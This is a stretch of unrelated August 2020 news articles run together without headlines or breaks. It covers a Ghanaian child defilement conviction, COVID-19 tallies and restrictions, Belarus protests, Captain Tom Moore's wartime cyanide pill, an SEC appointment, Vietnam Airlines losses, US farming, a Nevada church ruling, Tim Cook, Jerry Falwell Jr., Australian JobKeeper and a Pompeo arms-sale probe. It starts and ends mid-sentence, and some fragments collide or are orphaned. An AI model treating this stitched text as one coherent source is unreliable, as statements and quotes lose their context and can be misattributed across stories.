alias Barton, pleaded guilty to defilement and was convicted on his own plea by the court presided over by Ms Priscilla Dapaah Mireku. Defilement Presenting the facts of the case, Chief Inspector Kofi Atimbire said the victim lived with her father in the same vicinity with Clottey . He told the court that the victim used to play with her peers around the convicts area. On July 7, 2020, Chief Inspector Atimbire said the victim was frying pancake when Clottey requested to buy some and also told her to bring the pancake to his house. He told the court that when the victim went to give the pancake to Clottey in the company of her peers, he told her peers to wait outside, adding that Clottey lured the victim into his room, removed her dress and pant and had sexual intercourse with her. Chief Inspector Atimbire said after the act, Clottey gave the victim GHC 3.00. On July 19, 2020, the prosecutor said the victim informed her grandmother about her ordeal, stating that the convict had sex with her in his room on five different occasions after which the grandmother also disclosed the news to the victims parents. Clottey was later arrested and arraigned before court. Source: graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The world has hit the grim milestone of 20 million confirmed coronavirus cases and is edging closer to 750,000 deaths globally, according to figures from Johns Hopkins University. Case numbers have soared exponentially since the first were reported in China in December. The world recorded one million cases more than three months later, on April 2. The tally hit 10 million cases less than three months after that, on June 28, and it has taken just six weeks to double. The seven-day average for new daily cases has been above a quarter of a million for two weeks. The rise in cases remains driven in large part by the region of Latin America and the Caribbean, as well as by Asia, where cases are growing again, according to the JHU figures. Death rates remain highest in the former. Brazil has recorded more than three million cases and 100,000 deaths, second only to the United States, which is by far the worst affected country with more than five million cases and 160,000 deaths. India has the third-highest number of cases at more than two million, reaching the milestone just three weeks after hitting one million. The country is struggling to cope with the fast-growing outbreak, with critically ill patients turned away from hospitals that lack beds, staff and equipment. ---CNN He predicts protesters in Belarus may succeed. Former Ukrainian Ambassador to Belarus Roman Bezsmertnyi does not rule out that "Russian servicemen are also taking part in dispersing" protesters in Minsk, Belarus. "I would like to stress that there are Russian military facilities in Belarus," he told Current Time TV, according to Radio Liberty's Belarus Service. "I have no doubt that Russian special forces have taken part in the current crackdown." Read alsoPresidential candidate Tikhanovskaya flees Belarus "Belarus has never had riot police (reports say they are 33 cities) that would have been larger in number than civilians," he added. According to Bezsmertnyi, an "agreement signed six years ago" between the Ministries of Internal Affairs of Belarus and Russia may be implemented right now. In particular, it says that "paramilitary forces should be used to protect public order and borders, if necessary." "I am convinced that there are Russian troops among those who support the protection of the so-called 'state interests,'" the diplomat added. In addition, he admitted he believes in "the likelihood of protesters' success in Minsk." "We just need to be aware that it will open a huge window of opportunity for the Kremlin to influence Belarus. The main thing is that Belarusians and Lukashenko would not act the way [Ukrainian President] Viktor Yanukovych did in 2014 when he signed a letter inviting foreign troops, as this would provoke huge military conflicts in Belarus," Bezsmertnyi explained. Protests in Belarus: What is happening? Carrolls Cuisine meat plant in Tullamore, Co Offaly, where nine people have tested positive for Covid-19 (Niall Carson/PA) A Co Offaly meat factory impacted by a Covid-19 outbreak has suspended production amid tightened coronavirus restrictions in the Midlands. Carroll Cuisine has become the fourth affected plant to close operations in the three-county area covered by the localised infection control steps. The spike in cases that prompted the restrictions in Offaly, Kildare and Laois have been linked to outbreaks in meat processing factories. The intensified focus on the plants came as face coverings became mandatory in shops across Ireland on Monday, with those breaching the laws potentially facing up to a 2,500 euro fine or six months in prison. Carroll Cuisine in Tullamore initially opened on Monday morning, however it had been facing increasing calls to halt production. Expand Close Operations were ongoing at Carroll Cuisine on Monday (Niall Carson/PA) PA / Facebook Twitter Email Whatsapp Operations were ongoing at Carroll Cuisine on Monday (Niall Carson/PA) Minister of State Sean Fleming, a TD for Laois and Offaly, had urged the company to close voluntarily, noting that the state could intervene to order closure. Tanaiste Leo Varadkar had also highlighted that the HSE could move to impose a closure order. Nine of the plants 330 employees tested positive for Covid-19 last week. Those tests were carried out following the first diagnosed case of coronavirus among the workforce on July 31. On Monday afternoon, Kieran Carolan, chief executive of Carroll Cuisine, said the plant would take a break in operations pending the results of further testing of staff conducted on Sunday. The health, safety and wellbeing of all our people and our wider communities is an absolute priority for us at all times, he said. We have been working closely and co-operatively with the HSE and, while positive case levels among our staff are low, we believe that the best approach is to take this break in operations over the days ahead until we can evaluate the results of comprehensive tests which were undertaken for our staff on a precautionary basis yesterday in co-operation with the HSE. Expand Close Work will be suspended at the plant pending analysis of test results from staff members (Niall Carson/PA) PA / Facebook Twitter Email Whatsapp Work will be suspended at the plant pending analysis of test results from staff members (Niall Carson/PA) The plant boss said he backed a proposal for a recurring 14-day testing regime in meat plants. He said employees would continue to be paid during the suspension of operations. We note that a number of Government and health service sources have said factories should close wherever there are any cases of Covid, he said. However, its essential that while closures may be envisaged, the industry will need to continue in operation to supply food and facilities will need to reopen once any particular situation is contained and brought under control. Clear guidance is required on the measures, procedures and roadmap envisaged by the Government in this regard. The three other plants that have experienced outbreaks, Kildare Chilling, OBrien Fine Foods and Irish Dog Foods, had already suspended operations prior to the announcement by Carroll Cuisine. On Monday, 57 new cases of the disease were reported in Ireland by the Department of Health, bringing the total number of infections to 26,768. No more deaths were recorded. Acting chief medical officer Dr Ronan Glynn said 19 of the cases are located in Kildare, 11 in Dublin, 10 in Offaly, seven in Limerick, and the rest are in Clare, Cork, Galway, Kerry and Wicklow. Localised restrictions in Kildare, Laois and Offaly were announced on Friday and are in place for at least two weeks. Residents are only allowed to travel outside their counties in limited circumstances while restaurants and pubs serving food have been closed. Dr Glynn said: I fully understand the frustrations of other businesses in the area and the comparisons that they are making but ultimately this pandemic is not going away for the foreseeable number of months. He added: We have to be guided by the experts on the ground who have the level of knowledge and expertise to make assessments there. We have to make assessments based on evidence, the local teams have to make assessments based on evidence. We have to continue as safely as we can. Captain Sir Tom Moore has revealed he carried a suicide pill in case he was captured by Japanese troops during the Burma campaign in World War II. The centenarian former army officer was commenting ahead of the 75th Anniversary of Victory in Japan day, when Emperor Michinomiya Hirohito announced the unconditional surrender of his Imperial forces. Sir Tom remembered his comrades ahead of VJ Day on Saturday, which will mark 75 years since the surrender of Japan and the effective end of the century-defining conflict. He served in Burma while part of the Fourteenth Army, after he had been promoted to Captain Tom in 1944. WWII veteran Captain Sir Tom Moore, pictured, revealed he carried a suicide pill with him while fighting Japanese Imperial Forces in Burma Sir Tom, pictured centre on a tank with some of his men said he was not afraid of the Japanese during the war. Speaking ahead of the 75th anniversary of Victory in Japan day, he told the Radio Times: 'I wasn't very scared. Not really. At one stage we were given a pill that, well, it did you in completely. 'That was to swallow in case we were captured and forced to give up information' The suicide pill was given to soldiers in case they were captured by Japanese troops and faced torture. The allied pills were given to members of the Special Operations Executive being dropped behind enemy lines, secret agents and specialists who carried top secret information. The oval capsule was roughly the size of a pea and contained potassium cyanide - a fast-acting poison. The pills were often coated in rubber, allowing the person to place the pill under their tongue and carry it in their mouth. Suicide pills and WWII Suicide pills were issued to members of the Special Operations Executive before they were being dropped behind enemy lines. The US Office for Strategic Services also issued its agents with suicide pills which were to be taken if capture by the enemy seemed inevitable. The allied pills contained potassium cyanide - a fast-acting poison. As well as secret agents, the pills were also issued to specialists who carried top secret knowledge or information information in their heads which would be invaluable to the enemy. The pills were often coated in rubber, allowing the person to place the pill under their tongue. The capsule was oval and roughly the size of a pea. If facing torture, the agent could carry the pill in their mouth and bite down hard, releasing the toxic drug which would kill them within 15 seconds. In the 1950s, the Central Intelligence Agency (CIA) developed a replacement for the pill, formed using saxitoxin. Advertisement If facing torture, the agent could bite down hard on the pill, releasing the toxic drug that would kill them within 15 seconds. In an interview with the Radio Times, the NHS fundraising champion recalled his time serving in Burma (now Myanmar) and contracting dengue fever in the sweltering conditions. He told the magazine: 'I wasn't very scared. Not really. At one stage we were given a pill that, well, it did you in completely. 'That was to swallow in case we were captured and forced to give up information.' The Royal British Legion has announced plans to mark the 75th anniversary of VJ Day (Victory over Japan), to highlight the 'forgotten history' of those who helped bring an end to the Second World War on August 15 1945. Sir Tom told the Radio Times he did not give in to despair during his time in the Far East, adding: 'In Burma I never thought of disaster. I always thought we would win and looked forward to the time when we would keep the flag flying in peace.' The full story can be read on the Radio Times website. The 75th anniversary will take place on Saturday, although plans to commemorate the date have been scaled back because of Covid-19. Prince Charles and Camilla will lead the nation in a two-minute silence held at the National Memorial Arboretum in Staffordshire. Among those at the event will be 93-year-old Albert Wills, who served in the Far East aboard HMS Indefatigable. The Red Arrows will also conduct a nationwide flypast, routing over Edinburgh, Belfast, Cardiff and London - including flying over head the Royal Hospital in Chelsea. Prime Minister Boris Johnson said: 'When the Second World War ended 75 years ago with the surrender of Japan, British soldiers, sailors and airmen were serving in the Far East, fighting hard to achieve victory and were among the last to come home. 'On this anniversary I want to remember what we owe the veterans of the Far East campaign. They brought an end to the Second World War, they changed the course of history for the better, liberated South East Asia, and many paid the ultimate sacrifice. Sir Tom, pictured, was commenting in advance of the 75th anniversary of Victory in Japan day, which will take place on Saturday 'Thats why on this remarkable anniversary and every day hereafter we will remember them.' Defence Secretary Ben Wallace added: 'VJ Day is sometimes seen as the forgotten victory, but this year, on its 75th anniversary, our celebrations are rightly focused on paying special tribute to the Greatest Generation and their service and sacrifice in the Far East. I will be thinking of the unique hardships faced by those who served, and thanking them for all they did for us. 'The partnerships forged during the Far East campaign continue to thrive today. 'Its a unique honour for me as Defence Secretary to meet Second World War veterans in person at important commemorations such as these. 'As a former Army officer, I understand just how much todays troops are inspired by those who came before them. 'I am proud we have put together such a full programme of events and look forward to paying tribute to our amazing Asia pacific war veterans.' Sir Tom added: 'In Burma I never thought of disaster. I always thought we would win and looked forward to the time when we would keep the flag flying in peace' Sir Tom's role was to ride to the frontline on a motorbike because he was an expert motorcyclist, having bought his first vehicle aged 12 (pictured, sitting with trophies) The 'Forgotten War': Burma's involvement in the Second World War The Burma campaign was a series of battles fought in the then British colony of Burma, now Mynamar. It was part of the South-East Asian theatre of the world war, and primarily involved the Allied powers: the British Empire, the US, and China. They faced Imperial Japan, supported by the Thai Phayap Army and two collaborationist independent movements and armies, the first being the Burma Independence Army. Puppet states were established in the conquered areas and territories were annexed, while the Allied forces in British India launched several failed offensives before August 1945. There were four phases: the Japanese conquest of Burma in 1942; failed attempts by the Allies to mount offensives into Burma from 1942 to early 1944; the 1944 Japanese invasion of India, which ultimately failed following the Battles of Imphal and Kohima; and the successful Allied re-occupation of Burma by mid-1945. The Burma campaign was the only land campaign by the Western Allies in the Pacific Theatre. It was prolonged by seasonal monsoon rains, which allowed effective campaigning for only just half of each year; by famine and disorder in British India; and by the priority given to defeating Germany. Advertisement Sir Tom previously spoke about his role in the war as Britain prepared to mark VE Day. While serving in the brutal Burma campaign, known as the 'Forgotten War', he fought in night raids on the frontline. His involvement in the world war began in 1940, when the then 20-year-old Yorkshireman was conscripted into the Duke of Wellington's Regiment. He was posted to India, then under British control, the following year. 'Being conscripted didn't do me any harm at all,' he told ITV. 'The reason for conscription was that the country had got desperately short of soldiers. I didn't mind at all. I mean at 20 you don't think too hard about it. 'I thought, "Oh great, it's going to be great".' He describes India as 'an entirely different world to anything I've ever been in before', and says the air conditioning they had was 'quite necessary'. 'It did get a bit hot,' Captain Tom chuckles One million Allied troops from 40 countries attempted to repel Imperial Japan from Burma over almost three years, between 1942 and 1945. Speaking of the Japanese fighters, he recalled: 'They were quite a formidable force because there were people who didn't mind if they died'. He added: 'They were awful, they were what we say, were completely without morals. They starved people to death and didn't care. That was bad.' 'I was only 21 or 22,' he admits. 'You don't get very frightened at 22'. Sir Tom's role also saw him ride a motorbike because he was an expert motorcyclist, having bought his first vehicle aged 12. 'During the night, I was at the forefront with the Indian Army, fighting the night Japanese. And then, in the morning, when we thought the Japanese had gone home, my motorcycle came back into the picture.' Washington, D.C.--(Newsfile Corp. - August 11, 2020) - The Securities and Exchange Commission today announced that Sebastian Gomez Abero has been named Deputy Director of the SEC's Office of the Advocate for Small Business Capital Formation (OASB). In his new role, he will oversee strategic initiatives and help lead the team in the SEC's newest office, which is focused on advocating for solutions to challenges faced by small businesses and their investors in raising capital, from startups to small cap public companies. In addition, the office proactively works to identify and address unique challenges faced by minority-owned, women-owned, rural, and natural disaster area-affected small businesses as well as their investors. "Sebastian's breadth of expertise in capital formation, combined with his passion for supporting entrepreneurs and their investors, is widely known and respected throughout the Commission and beyond," said Martha Legg Miller, Director of the Office of the Advocate for Small Business Capital Formation. "Even more important than his subject matter expertise, Sebastian is an incredibly thoughtful colleague, mentor, and manager, and our office will be stronger because of his leadership. Our team is thrilled to welcome him to our group." "Over the past two years, Sebastian has been an unwavering advocate for retail investors and entrepreneurship," said SEC Chairman Jay Clayton. "He has worked cooperatively and enthusiastically to find solutions to some of the most complex issues in the Commission's purview. His commitment to our mission and broad expertise make him a perfect fit for OASB's dedicated team." Mr. Gomez Abero said, "I am honored to join such a diverse and talented team. Their tireless efforts, expertise and passion for small businesses have allowed them to accomplish so much already. I look forward to joining their ongoing and future efforts to advocate for small businesses and their investors." Since July 2018, Mr. Gomez Abero has served as Senior Advisor to Chairman Jay Clayton. In that role he has been the lead advisor to the Chairman on matters involving the Division of Corporation Finance, Office of the Chief Accountant, and Office of the Advocate for Small Business Capital Formation. He also advised the Chairman on enforcement matters as well as the Commission's diversity and inclusion efforts. Mr. Gomez Abero joined the SEC's Division of Corporation Finance in 2007, where he held several roles, including staff attorney in the division's Office of Health Care and Insurance, special counsel in the division's Office of Financial Services, Chief of the division's Office of Small Business Policy, and Deputy Chief Counsel. Prior to joining the SEC, Mr. Gomez Abero practiced law at Hogan Lovells, specializing in corporate governance, disclosure, and SEC compliance. He earned his juris doctor, cum laude, from Northwestern University School of Law and an undergraduate degree in computer science, magna cum laude, from Bridgewater College. National flag carrier Vietnam Airlines has forecast a consolidated pre-tax loss for 2020 of nearly 15.18 trillion VND (over 650 million USD) due to COVID-19. Vietnam Airlines foresees a heavy loss this year due to the COVID-19 pandemic (Photo: VNA) At its repeatedly-delayed annual shareholders meeting on August 10, General Director Duong Tri Thanh said the pandemic has spread around the world and completely changed the global economy, including Vietnams. The International Air Transport Association has predicted that traffic levels will fall by 54.7 percent in 2020 compared to 2019, revenues will drop 419 billion USD, and airlines will post losses of over 84 billion USD. Meanwhile, 11.2 million people will likely lose their jobs in the aviation industry. Vietnam Airlines plans to suspend flights to Europe and Australia in the time ahead but is also set to resume routes to Northeast Asia and Southeast Asia in October, Thanh noted, with about three to five flights a week initially. The domestic aviation market is expected to see more than 18 million passengers over the remaining months of 2020, equivalent to 90 percent of the figure in the same period last year. The number of passengers on domestic routes is forecast at 34.95 million, down 20 percent year-on-year. Vietnam Airlines earned a record 100.32 trillion VND in consolidated revenue last year, up 1.4 percent year-on-year. Consolidated pre-tax profit also hit an all-time high of almost 3.39 trillion VND, up 2.3 percent. It conducted 135,000 flights carrying 22.9 million passengers, with an on-time performance (OTP) rate of some 90 percent, it reported. The shareholders meeting also elected a new board of directors for the tenure 2020-2025. The board has chosen Dang Ngoc Hoa as its head, replacing Pham Ngoc Minh./.VNA Vietnam Airlines plans to sell nine planes due to financial woes Vietnam Airlines is planning to sell nine A321CEO planes to optimize its fleet and improve its cash flow, as the national flag carriers revenue has dropped sharply due to the Covid-19 pandemic. Prime Minister Narendra Modi will meet the chief ministers of 10 states on Tuesday to review the coronavirus situation in the regions even as the countrys Covid-19 tally surged beyond the 2.26-million mark, including more than 45,000 deaths. The Prime Minister will hold a video conference with the chief ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana, Uttar Pradesh at 11am. This will be the Prime Ministers seventh such meeting with chief ministers on the pandemic. PM Modis last meeting with the heads of the states to discuss the coronavirus situation was held in June. Maharashtra continues to be worst-hit state in the country with Covid-19 cases, followed by Tamil Nadu and Andhra Pradesh. Apart from these three states Karnataka and Uttar Pradesh also reported the highest number of coronavirus disease cases and deaths in the last 24 hours. PM had held a virtual meeting with the chief ministers of Assam, Bihar, Uttar Pradesh, Maharashtra, Karnataka and Kerala on Monday to review the flood situation in these six states. CHICAGO -- The 1,250 acres of irrigated fields are the most valuable on Troy Schneiders farm in eastern Colorado, as corn yields in his county typically come in more than three times higher on those fields than dryland ones. But this year, with the economy contracting and demand for corn-based biofuel falling off, Schneider is not planting any cash crops under the sprinkler system on 125 of those irrigated acres. He calculated it would make more financial sense to grow grass for his cows. With the economy shut down and lack of driving, it drove the price down too much, he said. Why even take a chance? You are going to lose money on everything. Farmers routinely make changes to their acreage intentions as the calendar advances, substituting in different crops if the weather mucks up their original plans. But leaving the ground bare is new territory for U.S. farmers who typically plant fencerow to fencerow, trying to squeeze profit out of every available acre. The most recent acreage data from the government showed corn and cotton plantings in particular were far below initial expectations, with corn seedings in June dropping the most from March in 37 years. The coronavirus pandemic caused many farmers to give up on their corn crop before it was even in the ground. When calculating their plans for 2020, they had viewed corn as the crop most likely to turn a profit as ongoing tensions with China threatened to roil the soybean export program even after Beijing and Washington inked a Phase 1 trade deal in January. A U.S. Agriculture Department report issued in March showed that farmers had planned to seed 96.999 million acres of the yellow grain, which would have been the second-highest since the Great Depression. But demand for ethanol, a corn-based biofuel blended into gasoline, cratered as COVID-19 cases spread across the country and people stayed home. That caused corn markets to slump just as farmers were firing up their tractors for planting season. When USDA issued its June acreage report, corn plantings had dropped 5.1% from the March intentions, reflecting the 10.3% drop in prices. U.S. supplies of corn stood at the second-highest level in 31 years last fall and the stockpiles were expected to swell even further after this years harvest. There is so much corn on hand that even some unusual purchases of U.S. corn from China in recent weeks failed to lift prices, with futures CZ0 sinking to contract lows in early August. Cotton plantings also were sharply lower, with farmers dropping seedings by 10.9% from their March intentions of 13.703 million acres. Cotton prices dropped 30% during planting season as global shutdowns roiled demand for new clothing. Unfortunately, the drastic decline in cotton prices and the increased uncertainty in commodity markets are damaging an already tenuous economic situation for producers, Jody Campiche, vice president, economics and policy analysis at the National Cotton Council, said in an email to Reuters. Analysts said the drop in acreage is likely a one-time occurrence for farmers trying to avoid steep losses. I think this may be a one-off year, said Michael Cordonnier, president of consultancy Soybean and Corn Adviser. You had the pandemic. There was just a general economic malaise. It just made everybody risk-averse. A shift in government subsidies also may have contributed to farmers decision to leave some fields fallow. Coronavirus aid payments were based on farmers year-earlier output, a change from the Trump administrations trade aid program meant to compensate farmers for lost sales to China. Those payments, based on planted acreage in both 2018 and 2019, encouraged growers to get crops in the field even when market prices did not support planting. That incentive is gone in 2020. It costs money to put a crop out, said Jim Gerlach, president of U.S. broker A/C Trading. It is better to make nothing than to lose money. On Friday, The U.S. The Supreme Court denied a rural Nevada church's request from the Christian church east of Reno to allow church gatherings. Nevada, known to be a gambling and party city, COVID-19 restrictions allowed casinos, restaurants, and other businesses to operate with social distancing. Meanwhile, the churches are filled with frustrations for not having the right to express and exercise their beliefs. According to TIME, three justices wrote strongly worded dissenting opinions on behalf of the four conservatives who said they would have granted the injunctive relief while the court fully considers the merits of the case. "The Constitution guarantees the free exercise of religion. It says nothing about the freedom to play craps or blackjack, to feed tokens into a slot machine, or to engage in any other game of chance." "But there is no world in which the Constitution permits Nevada to favor Caesars Palace over Calvary Chapel," Gorsuch wrote. Filled with disappointment, many churchgoers are stuck in a pandemic with no resource of going to church or gathering with a small group for bible study. "When the government treats churches worse than casinos, gyms, and indoor amusement parks in its COVID-19 response, it clearly violates the Constitution. The governor's office didn't immediately respond to a request for comment. Even the lawyers burst out of anger to express that the governor allows hundreds to thousands to assemble in pursuit of financial fortunes but only 50 to gather in pursuit of spiritual ones which is unconstitutional. "But COVID-19 is not a blank check for a state to discriminate against religious people, religious organizations, and religious services." "Nevada is discriminating against religion." market value went from $348 billion to $1.9 trillion since Cook took over Despite his friendly, gentle demeanour, Apple's chief executive officer Tim Cook has been described as a tough leader who has been known to 'leave his staff in tears'. A new profile of the billionaire Apple boss describes a man who leads his staff 'through interrogation', according to contacts cited by the Wall Street Journal. Cook succeeded Apple co-founder Steve Jobs as CEO in 2011, six weeks before the latter's death from cancer. Since that time, Apple's market value has soared from $348 billion to $1.9 trillion, but the 'cautious and tactical' leader has had to be ruthless behind the scenes. Cook reached billionaire status earlier this month, according to the Bloomberg Billionaires Index. Middle managers today screen staff before meetings with Apple CEO Tim Cook (pictured) to make sure they're well prepared As the WSJ reports, in Apple's headquarters, middle managers screen their staff before meetings with Cook 'to make sure theyre knowledgeable', while first-timers are 'advised not to speak'. 'It's about protecting your team and protecting him. You don't waste his time,' said one of the WSJ's sources, described as 'a longtime lieutenant'. 'People have left crying.' If Cook senses someone is insufficiently prepared, he loses patience, says 'next', and flips a page of the meeting agenda, this person said. Apple CEO Tim Cook presents the keynote address during Apple's Worldwide Developer Conference (WWDC) in San Jose, California on June 3, 2019 TIM COOK'S WORKING DAY In a 2015 interview, Cook revealed his average working day - which still leaves little time for socialising. He gets up at 3:45am every morning and begins to check his email, goes to the gym at 5am and to work at 6:30am, already fully briefed and with the day ahead planned out. He goes to bed early: by 9:30pm or sometimes 10pm. Advertisement While Cook has created a more relaxed workplace than Jobs who was known as an uncompromising boss with a fiery temper Cook has been similarly demanding and detail-oriented. The 'humble workaholic' has a 'singular commitment' to Apple who keeps his calendar clear of personal events, rising at 4am to review global sales data every day. Any of his free time is dedicated to exercising in a gym away from Apple Park, the company's 2.8 million square foot headquarters, to ensure privacy from staff. Cook holds Friday night meetings with operations and finance staff an event that's been nicknamed 'date night with Tim' because it stretches hours into the evening. Joe O'Sullivan, a former Apple operations executive, said Cooks first meeting with staff the day he arrived in 1998 lasted 11 hours. Fast forward to today and staff still face meetings with Cook with a good deal of trepidation. Tim Cook (left) with Apple co-founder Steve Jobs (right). Cook previously said 'His spirit will forever be the foundation of Apple' O'Sullivan said: 'The first question is: "Joe, how many units did we produce today?" "It was 10,000." "What was the yield?" "98 per cent." Then he'd say: "OK, so 98 per cent, explain how the 2 per cent failed?" You'd think, "F***, I don't know". 'It drives a level of detail so everyone becomes Cook-like.' Chris Deaver, who spent four years in human resources working with Apples research and development operations, nicknamed Cook the 'processor', due to his tendency to carefully consider new information and act accordingly. 'He likes to listen a lot. Time and patience are his favourite warriors.' Cook was picked by Jobs to succeed him in part because the former operations chief ran a division 'devoid of drama and focused on collaboration'. Part of Apple's recent success has been down to Cook creating his own leadership style rather than trying to emulate Jobs. 'I knew what I needed to do was not to mimic him,' Cook told ESPN in 2017. 'I would fail miserably at that, and I think this is largely the case for many people who take a baton from someone larger than life. 'You have to chart your own course you have to be the best version of yourself.' Cook, who is openly gay, has also aligned the company's values towards acceptance, diversity and human rights since he took over. Last week, Cook said he is 'personally committed' to improving the number of female and black leaders in Apples senior ranks. Cook, left, reacts as President Donald Trump speaks during the American Workforce Policy Advisory Board's first meeting in March 2019. Trump describes Cook as a friend Cook has a good relationship with US President Donald Trump, who has called the CEO a 'friend'. In one televised meeting between the two, Trump called him 'Tim Apple' a moment that quickly became viral. The Apple boss later jokingly changed his name on Twitter to Tim followed by a picture of the Apple logo. Cook reached billionaire status only last week as the Cupertino, California-based firm nears $2 trillion in value. However, Cook isn't even in the Bloomberg Billionaires Index's top 500 and has nowhere near the personal wealth of the likes of Amazon CEO Jeff Bezos, who is listed with a net work of $186 billion. According to Bloomberg, the majority of Cook's wealth has come from equity awards hes received since joining Apple in 1998. Cook has previously said that he plans to give most of his fortune away and has already gifted millions of dollars worth of Apple shares, Bloomberg said. Liberty University announced that Jerry Prevo will lead the school while its longtime president, Jerry Falwell Jr., is on an indefinite leave of absence after Falwell posted a disturbing photo on social media that drew criticism from some other evangelical leaders. The decision to appoint Prevo, chairman of the board of trustees, as acting president comes two weeks before the start of classes at Liberty. "I want to thank my fellow board members for having confidence that I could be entrusted with the responsibility of serving as the Acting President during this time of Jerry Falwell, Jr.'s indefinite leave of absence," Prevo said in a statement Monday. "We have a world-class leadership team at Liberty University who will support me in running our operations on a day-to-day basis and fulfilling our spiritual mission unabated: Training Champions for Christ. Please pray for us as well as the Falwell family as we embark on our academic year and so we may continue to be united in our common purpose and our faith in Christ." On Friday, Liberty University announced that its board of trustees had met and decided that Falwell should take an indefinite leave of absence. That decision marked a dramatic break between Falwell and the school co-founded in 1971 by his father, the televangelist Jerry Falwell Sr. Since he became president in 2007, he has dramatically enlarged the school and increased its national stature. Falwell has been a prominent supporter of President Donald Trump, and the school often hosts politicians hoping to amplify their message to Christian conservatives. On Monday, a group of alumni calling themselves Save71 launched a website calling for the board to permanently remove Falwell "and replace him with a responsible and virtuous Christian leader." Dustin Wahl, a 2018 graduate who is a co-founder of the group, said they hope the board will appoint an independent group of people from Liberty to help in the selection of a new president. "Jerry Prevo is not in touch with the situation at Liberty," he said in a text message Monday. "This is not a comforting sign, as it appears that the Board does not have interest in turning the page on the years of Falwell's amoral and catastrophic leadership." Falwell has been a highly visible leader of the school, enlarging it significantly and generating a national profile. He has also generated controversy - as the alumni group Save71 points out with a timeline of incidents they called "a pattern of behavior and toxic culture" at Liberty over the past five years. A photo posted last week on social media prompted Rep. Mark Walker, R-N.C., a Southern Baptist minister and former Liberty instructor, to call for Falwell's resignation. The photo, posted on Falwell's Instagram account and later deleted, showed him with his pants unzipped and his shirt rolled up from his waist, holding a glass of a dark liquid with his arm around a woman whose pants are also unzipped and whose stomach is also bared. "More vacation shots. Lots of good friends visited us on the yacht," the caption read. "I promise that's just black water in my glass. It was a prop only." On the Lynchburg, Va., radio station WLNI, Falwell said the woman was his wife's assistant and couldn't zip her pants all the way up because she is pregnant. "And I had on a pair of jeans that I hadn't worn in a long time," he said, "so I couldn't get mine zipped, either. And so I just put my belly out like hers." He said he shouldn't have posted the photo and embarrassed her. Prevo said in a statement Friday that the decision to ask Falwell to take an indefinite leave was not made lightly, and asked the community to "lift him up in prayer so he may be able to fulfill God's purpose for him and for Liberty University." Prevo, who has served on the board since 1996 and as chairman since 2003, will resign from his role on the board while he serves as acting president. He did not immediately respond to a request for comment Monday. He recently retired from the Anchorage Baptist Temple, one of the largest churches in Alaska, as the senior pastor, according to the school. Brandon Pickett, a Liberty graduate and adjunct professor there who also is number two in the state for the Southern Baptist Convention - which has a large influence at the school - said for many years people accepted Falwell's explanation about his sometimes controversial actions: He's a businessman, not a religious figure. But some trustees - especially those who are pastors or work with religious institutions - have long been troubled by Falwell's social media activity. However, he is seen as doing a great job putting the school on strong financial footing. The yacht post, some said, showed a total lack of judgment, from any leader, especially one who purports to lead an evangelical Christian institution. "He has never portrayed himself as a spiritual leader. He's always said he's not the pastor of Liberty - he's a businessman. You may get confused that Jerry Falwell Jr. speaks for Christians or evangelicals, and it's just the opposite," Pickett said. Until now, the divided identity worked for Liberty's trustees. "I'm not sure if that sentiment is changing," Pickett said. "What makes this university different is they say up front: We're training champions for Christ. It's on the buildings, it's on the web site. And when you train champions for Christ, you need a champion for Christ at the head." Pickett said the Falwell scandal is pressing questions of character. "We need to look deeper, to develop Christ-centered men and women, not just in your public life but your personal life. Not just in church life but social media life. What we're seeing now is a more Christ-centered biblical view at leadership at all levels." Asked if Falwell has been given a pass thus far, Pickett said: "I just know sometimes it's easier to maybe give someone a pass on one area when the other area is going so well." A grieving father is struggling to keep his business afloat after the death of his teenage daughter left him ineligible for JobKeeper payments. Tradesman Peter Coll shut down his roofing business in Melbourne last year as he grieved the death of his daughter Claudia, 18, who lost her battle with cystic fibrosis. He eventually reopened the business and it quickly grew from a solo operation as he added five employees to cope with demand. Tradesman Peter Coll (pictured right) shut down his roofing business in Melbourne last year to grieve the death of his daughter, Claudia, 18 (pictured left) who lost her battle with cystic fibrosis He has kept those staff on the payroll despite going from up to 28 jobs a week to just six, and is now struggling to make ends meet amid Victoria's stage four restrictions. Collis recently discovered his operation doesn't qualify for JobKeeper because business owners must prove their revenue has dropped 30 per cent compared to this time last year. But because of his decision to shut up shop in 2019 to grieve his daughter, his business is actually making more money in 2020. Coll's grief was so intense he was forced to temporarily close his Melbourne roofing business in 2019 The proud father was unable to work after losing his oldest child (pictured together) Mr Coll said he isn't the kind of person to ask for help, but he's worried about his staff. 'They're stressed about their jobs, they've got things they have to pay as well. One of my employees, an apprentice, with his rent and everything, he's only just got enough money to live,' he told the Age. 'If I have to reduce his pay, he can't survive.' Peter Coll lost his daughter Claudia in May 2019 after she was struck down by the bacterial infection Burkholderia cepacia 'I'm hoping this is something the government has overlooked and that they can possibly fix it,' he said. He also revealed the situation has been having an impact on his mental health. A spokesperson for the Australian Tax Office told The Age they don't comment on specific cases due to privacy concerns. Businesses are being urged to contact tax professionals or use the ATO's dedicated helpline to address any concerns or enquiries about the JobKeeper payment. Claudia died in May 2019 after she was struck down by the bacterial infection Burkholderia cepacia. The 18-year-old had undergone a lung transplant to try and help stop the onset of immunodeficiency and pneumonia. But her body was unable to fight off the bug and she died in hospital a month later. Official says internal probe found Mike Pompeo acted in complete accordance with law in approving the $8.1bn sale. US Secretary of State Mike Pompeo has been cleared of wrongdoing in a disputed arms sale to Saudi Arabia and other Arab allies, according to his office, although the report on the internal investigation has not yet been released. Pompeo was accused of abuse of power after he used an obscure emergency procedure to ram through $8.1bn in arms sales to Saudi Arabia, the United Arab Emirates (UAE) and Jordan in May of last year. At the time, members of Congress had been blocking weapons sales to Riyadh and Abu Dhabi, angry about the huge civilian toll from their air campaign in Yemen, as well as human rights abuses such as the murder of Saudi journalist Jamal Khashoggi at a Saudi consulate in Turkey. On Monday, a senior official at the Department of State, speaking to reporters on the condition of anonymity, said an internal probe concluded that the department had acted in complete accordance with the law. The investigation by the State Departments Office of the Inspector General found no wrongdoing in the administration exercise of the emergency authorities that are available under the arms export control act, the official added. The comments made before the report was made public came after President Donald Trump abruptly fired then-Inspector General Steve Linick, who was looking into Pompeos certification, in May. Linick, whose dismissal is being investigated by Congress, was also reportedly investigating allegations that Pompeo and his wife used staff for personal favours such as walking their dog. He was succeeded by Stephen Akard, who resigned from his post last week after recusing himself from the arms sales investigation. The final report was completed by Akards 